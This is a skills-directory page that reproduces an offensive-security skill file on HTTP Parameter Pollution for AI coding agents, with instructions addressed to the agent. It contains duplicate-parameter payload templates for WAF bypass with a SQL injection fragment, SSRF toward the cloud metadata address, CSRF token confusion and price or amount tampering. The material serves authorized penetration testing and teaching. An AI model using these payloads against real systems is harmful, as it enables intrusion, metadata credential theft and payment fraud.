Skip to main content
skill CX Codex

http-parameter-pollution — Claude Code skill: setup and guide

Guides agents through HTTP Parameter Pollution tests when WAFs, proxies, and backends parse duplicate parameters differently. Built for API security assessments.

Install into Claude Code · Skills CLI (Vercel) All methods and platforms ↓
npx skills add yaklang/hack-skills --skill http-parameter-pollution -a claude-code
Open on GitHub

What http-parameter-pollution does

The skill instructs the agent to analyze parsing discrepancies across the entire request path: browser, CDN or WAF, reverse proxy, and application framework. It provides a breakdown of default behaviors. For instance, PHP and Django keep the last parameter value, while Flask, Tomcat, and Go net/http consume the first, and Express converts duplicates into arrays.

The reference includes test payloads for query strings, urlencoded forms, multipart uploads, and duplicate JSON keys. It details concrete exploitation paths, including WAF evasion, SSRF validation bypasses, CSRF token confusion, and business logic flaws like altered prices or quantities. For raw HTTP handling, it points to Burp Suite, OWASP ZAP, or custom scripts.

Payloads targeting numeric fields like order amounts can mutate backend state or financial balances. Because of this risk, tests must remain strictly confined to authorized scopes and dedicated test accounts.

What it helps with

  • test WAF bypasses using duplicate query parameters
  • uncover parameter handling differences between reverse proxies and backends
  • construct SSRF payloads that split internal and external URLs
  • check CSRF validation resilience against repeated token keys
  • evaluate duplicate key handling across JSON parsers

Example prompts for the agent

  • Check this payment endpoint for HTTP Parameter Pollution vulnerabilities when passing duplicate amount values.
  • Draft an HPP payload targeting a WAF in front of a Node.js Express service.
  • Compare how IIS and a PHP origin interpret duplicated query parameters.

How to install http-parameter-pollution

1Skills CLI (Vercel)

npx skills add yaklang/hack-skills --skill http-parameter-pollution -a claude-code

2Manually: put the files in place

~/.claude/skills/http-parameter-pollution/SKILL.md

Copy the whole skill folder; for one project use .claude/skills/http-parameter-pollution/

Step by step, with commands for each platform: How to install skills in Claude Code: five ways

Questions about http-parameter-pollution

How to install http-parameter-pollution in Claude Code?

Run npx skills add yaklang/hack-skills --skill http-parameter-pollution -a claude-code. The skill file will be placed in ~/.claude/skills/http-parameter-pollution/SKILL.md.

What does http-parameter-pollution do?

It equips the agent with payload templates, exploitation scenarios, and a parsing behavior matrix for HTTP Parameter Pollution testing. This helps spot security gaps where edge filters and backend applications disagree on duplicate keys.

How do backend frameworks handle duplicate keys like a=1&a=2?

Different frameworks follow distinct defaults. Flask, Tomcat, and Go net/http accept the first value (a=1), PHP and Django use the last value (a=2), and Express parses them into an array of values.

Source text

SKILL.md · MIT
---
name: http-parameter-pollution
description: >-
  HTTP Parameter Pollution (HPP): duplicate query/body keys parsed differently by servers, proxies, WAFs, and app frameworks. Use when filters and application layers disagree on which value wins, enabling bypass, SSRF second URL, logic abuse, or CSRF token confusion.
---

# SKILL: HTTP Parameter Pollution (HPP)

> **AI LOAD INSTRUCTION**: Model the **full request path**: browser → CDN/WAF → reverse proxy → app framework → business code. Duplicate keys (`a=1&a=2`) are not an error at HTTP level; each hop may pick first, last, join, or array-ify. Test HPP when WAF and app disagree, or when internal HTTP clients rebuild query strings. Routing note: when the same parameter appears multiple times, or WAF/backend stacks differ, use the Section 1 matrix to test first/last/merge assumptions, then design Section 3 scenario chains.

## 0. QUICK START

**Hypothesis**: the **security check** reads one occurrence of a parameter while the **action** reads another.

### First-pass payloads

```text
id=1&id=2
id=1&id=1%20OR%201=1
url=https://legit.example&id=https://evil.example
amount=1&amount=9999
csrf=TOKEN_A&csrf=TOKEN_B
user=alice&user=admin
```

### Body variants (repeat for POST)

```text
application/x-www-form-urlencoded
id=1&id=2

multipart/form-data
------boundary
Content-Disposition: form-data; name="id"
1
------boundary
Content-Disposition: form-data; name="id"
2
```

### Quick methodology

1. Fingerprint **front** stack (CDN/WAF) vs **origin** (language/framework) using baseline `a=1&a=2`.
2. Send **both** orders: `a=1&a=2` and `a=2&a=1` (some parsers are order-sensitive).
3. If JSON: test **duplicate keys** and Content-Type confusion (see Section 2).

---

## 1. SERVER BEHAVIOR MATRIX

Typical defaults — **always confirm**; middleware and custom parsers override these.

| Technology | Behavior | Example: `a=1&a=2` |
|---|---|---|
| PHP / Apache (`$_GET`) | Last occurrence | `a=2` |
| ASP.NET / IIS | Often comma-joined (all) | `a=1,2` |
| JSP / Tomcat (servlet param) | First occurrence | `a=1` |
| Python / Django (`QueryDict`) | Last occurrence | `a=2` |
| Python / Flask (`request.args`) | First occurrence | `a=1` |
| Node.js / Express (`req.query`) | Array of values | `a=['1','2']` (shape may vary by parser version) |
| Perl / CGI | First occurrence | `a=1` |
| Ruby / Rack (Rack::Utils) | Last occurrence | `a=2` |
| Go `net/http` (`ParseQuery`) | First occurrence | `a=1` |

**Why it matters**: a WAF on **IIS** might see `1,2` while PHP backend receives `2` only — or the reverse if a proxy normalizes.

---

## 2. PAYLOAD PATTERNS

### 2.1 Basic duplicate key

```http
GET /api?q=safe&q=evil HTTP/1.1
```

### 2.2 Array-style (PHP / some frameworks)

```http
GET /api?id[]=1&id[]=2 HTTP/1.1
```

### 2.3 Mixed array + scalar

```http
GET /api?item[]=a&item=b HTTP/1.1
```

### 2.4 Encoded ampersand (parser differential)

```text
# Literal & inside a value vs new pair — depends on decoder
param=value1%26other=value2
param=value1&other=value2
```

### 2.5 Nested / bracket keys

```http
GET /api?user[name]=a&user[role]=user&user[role]=admin HTTP/1.1
```

### 2.6 JSON duplicate keys

```json
{"test":"user","test":"admin"}
```

Many parsers keep **last** key; some keep **first**. JavaScript `JSON.parse` keeps the last duplicate key.

---

## 3. ATTACK SCENARIOS

### 3.1 HPP + WAF bypass

**Pattern**: WAF inspects **first** value; application uses **last**.

```text
id=1&id=1%20UNION%20SELECT%20...
```

Also try: benign value in JSON field duplicated in query string, if gateway merges sources differently.

### 3.2 HPP + SSRF

**Pattern**: validator reads **safe** URL; fetcher reads **internal/evil** URL.

```text
url=https://allowed.cdn.example/&url=http://169.254.169.254/
```

Confirm which component (library vs app) consumes which occurrence.

### 3.3 HPP + CSRF

**Pattern**: duplicate anti-CSRF token so one copy satisfies parser A and another satisfies parser B.

```text
csrf=LEGIT&csrf=IGNORED_OR_ALT
```

Use only in **authorized** CSRF assessments with a clear state-changing target.

### 3.4 HPP + business logic (e.g. payment)

```text
amount=1&amount=5000
quantity=1&quantity=-1
price=9.99&price=0.01
```

Pair with **race conditions** or **server-side rounding** for higher impact; HPP alone often needs a split interpretation across layers.

---

## 4. TOOLS

| Tool | How to use |
|---|---|
| **Burp Suite** | Repeater: duplicate keys in raw query/body; Param Miner / extensions for hidden params; compare responses for `first` vs `last` interpretation |
| **OWASP ZAP** | Manual Request Editor; Automated Scan may not deeply fuzz HPP — prefer manual variants |
| **Custom scripts** | Build exact raw HTTP (preserve ordering) — some clients normalize duplicates |

**Tip**: log **raw** query strings at the app if you control a test lab; some frameworks expose only the “winning” value while logs show the full string.

---

## 5. DECISION TREE

```text
                    +-------------------------+
                    | Duplicate param name    |
                    | same request            |
                    +------------+------------+
                                 |
              +------------------+------------------+
              |                                     |
       +------v------+                       +------v------+
       | Single app  |                       | WAF / CDN / |
       | layer only  |                       | proxy chain |
       +------+------+                       +------+------+
              |                                     |
    +---------v---------+                 +---------v---------+
    | Read framework    |                 | Map each hop:     |
    | docs + test       |                 | first/last/join/  |
    | a=1&a=2 vs swap   |                 | array             |
    +---------+---------+                 +---------+---------+
              |                                     |
              +------------------+------------------+
                                 |
                          +------v------+
                          | Pick attack |
                          | template    |
                          +------+------+
                                 |
         +-----------+-----------+-----------+-----------+
         |           |           |           |           |
    +----v----+ +----v----+ +----v----+ +----v----+ +----v----+
    | WAF vs  | | SSRF    | | CSRF    | | Logic   | | JSON    |
    | app     | | split   | | token   | | numeric | | dup key |
    | value   | | URL     | | confuse | | fields  | | parsers |
    +---------+ +---------+ +---------+ +---------+ +---------+
```

---

**Safety & scope**: HPP testing can change server state (payments, account settings). Run only where **explicitly authorized**, with scoped accounts, and document parser behavior before high-impact requests.

© yaklang · MIT · yaklang/hack-skills

Similar skills

All skills for Security →

From the same set93

symbolic-execution-tools A symbolic execution playbook that keeps your agent's angr, Z3 and Unicorn scripts from breaking on state setup and missing libc hooks. CX Codex +1 3,600installs browser-exploitation-v8 A playbook for exploiting JavaScript engine bugs: JIT type confusion, bounds elimination, V8 sandbox bypass. Built for CTF work and Chrome bug analysis. CX Codex +1 3,600installs csp-bypass-advanced A skill for picking apart Content Security Policy: which directives the policy leaves open and how data leaves the page without JavaScript. CX Codex +1 3,600installs race-condition A skill for testing web apps for race conditions and TOCTOU: parallel requests, rate-limit bypass, one-time operations. CX Codex +1 3,600installs deserialization-insecure This skill helps find unsafe deserialization in Java, PHP, and Python and review possible attack chains. Use it for source and traffic analysis. CX Codex +1 3,600installs format-string-exploitation Walks through exploiting printf-family calls that take a user-controlled format string: stack reads, writes via %n, GOT overwrites. Built for CTF work and binary review. CX Codex +1 3,600installs kernel-exploitation A Linux kernel security research playbook for AI coding assistants. It covers QEMU debugging environments and mitigation mechanisms like KASLR and SMEP. CX Codex +1 3,600installs request-smuggling This skill tests HTTP desynchronization between front proxies and origin servers. Use it for CL.TE, TE.CL, HTTP/2-to-HTTP/1, and client-side desync checks. CX Codex +1 3,600installs

Project sponsors

Companies that keep this analytics open
Gold sponsor

Impressions, clicks and code copies — open statistics. We keep the numbers public for the same reason NeBlask itself is public. Become a sponsor